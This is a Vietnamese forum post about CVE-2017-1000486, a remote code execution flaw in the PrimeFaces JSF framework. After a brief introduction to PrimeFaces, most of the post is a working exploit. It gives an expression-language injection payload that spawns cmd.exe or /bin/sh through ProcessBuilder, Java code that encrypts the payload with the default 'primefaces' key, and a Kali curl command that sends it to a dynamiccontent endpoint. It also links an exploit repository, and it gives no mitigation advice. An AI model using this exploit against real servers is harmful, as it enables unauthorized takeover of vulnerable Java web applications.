Lỗ hổng bảo mật CVE-2017-1000486 có trên Primefaces

  1. 7 weeks ago

    PrimeFaces là gì?

    Primefaces là một framework mã nguồn mở cho JSF (JavaServer Faces - một bộ khung (framework) phát triển các ứng dụng Web viết bằng Java nhằm làm đơn giản hóa quá trình phát triển giao diện người dùng cho các ứng dụng J2EE - JavaEE) với hơn 100 thành phần (components), tối ưu cho thiết bị di động, validate phía client, hỗ trợ AJAX mạnh mẽ…

    PrimeFaces cũng được coi là một trong những thư viện UI (User Interface) phổ biến nhất trong hệ sinh thái Java, được sử dụng rộng rãi bởi nhiều công ty, tập đoàn lớn trên thế giới như: Cisco, Ebay, HP, Ford…

    Về lỗ hổng CVE-2017-1000486

    Lỗ hổng bảo mật CVE-2017-1000486 có trên Primefaces JSF Framework, được hãng bảo mật Minded phát hiện từ năm 2016 cho phép tin tặc thực thi câu lệnh chiếm quyền điều khiển thiết bị từ xa (Remote Code Execution - RCE) thông qua một kết nối HTTP đơn giản.

    Khai thác

    ${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}
    ${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}
    ${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
    ${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
    ${session.getAttribute("scriptengine").eval(
    "var os = java.lang.System.getProperty(\"os.name\");
    var proc = null;
    os.toLowerCase().contains(\"win\")?
    proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"[i]%s[/i]\"]).start()
    : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"[i]%s[/i]\"]).start();
    var is = proc.getInputStream();
    var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";
    while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}
    ${facesContext.getExternalContext().getResponse().getWriter().flush()}
    ${facesContext.getExternalContext().getResponse().getWriter().close()}';

    (với %s là câu lệnh thực thi trên hệ thống).

    Mã hóa:

    private void doEncrypt(String payload) throws UnsupportedEncodingException {
    StringEncrypter encrypter = new StringEncrypter("primefaces");
    String result = encrypter.encrypt(payload);
    String result_urlenc = URLEncoder.encode(result, "UTF-8");
    System.err.println(result_urlenc);
    }

    Thực thi trên Kali:

    root@kali:~# enc="TIXG%2F%2FZlMWz%2BuNGfZ1psoWPYqrzYTYmu3dN%2B6cc4kAoZv6Ge0cWSmYpAj5%2FwrDCRcHWvgXbDtIn06VIvJwKQqk9spjdr1Wo6zTWjQ%2BqAxbPaR3OIIo3Ae%2BbYe54y0z7d2r0umNJPzSSiUdHLt%2BuchRlDeO2rQCx2p4Yttxa29zo3Nayidga8LiyD8R5e6IJYbJ99MpiS8K16iX47gin6aYYYHfulJfEIkP52taKql3JNbPVoguR%2FDhhiVpEtauFfKEMOoUq0G7evnErvZkQkyek43YhJ%2FE4q0sU2CygWclo%2FvcfG2QHAylbL4tkXaB3BP50YvRFedbmQfEtcAiGn84SdP5BnxC%2BcVJvVJsrMpbL8Mcdi%2FU%2BOju9g57bW55CBAGZnqiOVWFL%2BXjhaBD06Ef%2F7Et08lFQKGmlJDNQBSFBTa5cSd6WY6SZh5I8AO3Ncr9XpiOiQJROZgwXoxYwHFp10gQXS8TVw5yYcEWKoMZWYmBY5%2FcIPv6skQn6%2FGlnv1qGRUtGwCis5jQJDdJh%2B%2FO7EJpJ64tez75NOyM7jDH8%2BM8%2Bxmi8g41xuW%2Fw6yymquEwWQaIT3%2F80ifOhM8bUQ9uep4WZYxpwUi%2FHM5ig7%2FXpCR8TZiwRd8sbt6QG1pwtEwFXyNfe3u5BM3qGVnN4Mpq6zFBPKUfEDe9EEPV76ifnQDDyKtmuvmW2nT%2BP1XMgNg9OPxwfkFMEh7EwhyPxbEaseeszUf6HZfTl8%2BIGBUXig5i6iCaW2Y0VWWH1PM0dCAPj1%2F7zWOYG0KSkw2b57i9Cxovyk8AQH4qZ4D513khYRXi4Qw4pfuSXrDe0dpnYcsb2dvsUaGGgtyn%2BbWrSy2rJj752gBq5vAD5wUFQ%2B6LvWQoZexW2%2FI8MGF8Og3i3qCXcCQ%2FS9ihatd1IbDE0YwbTCbHtQCXRmPOTYr7%2F4tnyxmVY6y4OZF%2FWiw9rdjGik9QqZQ74CLRbpIho6uLbXivr%2B9WIF3q%2BG86BnM8vNW2OHcLIfORxTboN%2BDT4wgtBd0Sh1C64%2B3z6%2BnNQc4waf88OQ1YgvWlfKuE6jvJjIX48MH9IU4C3p%2FpjuP%2FmbTiQrHgm6ahCfwESXDwKsc2Kd7H8us8l9F6d1NxkAQ%2BtEASomxbMMt2fv7xGS0%2B4VHf8fF4GsOsMC1Q1CD2qQn4Md8fU1%2BDEC4KKdA5VCimW327rbKxsrGVewWnTkA8ejHwlwciQmXFQQ53LMk%2Bj1iNwIChQnVPAe4sFKS9x02Y%2BZZDQFTr2XUXSRwAAAAAAAAAA";
    root@kali:~# curl -X POST "https://example.com/javax.faces.resource/dynamiccontent.properties.jsf" -ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&cmd=id"

    Mã khai thác: https://github.com/bschuette/exploits

 

or Sign Up to reply!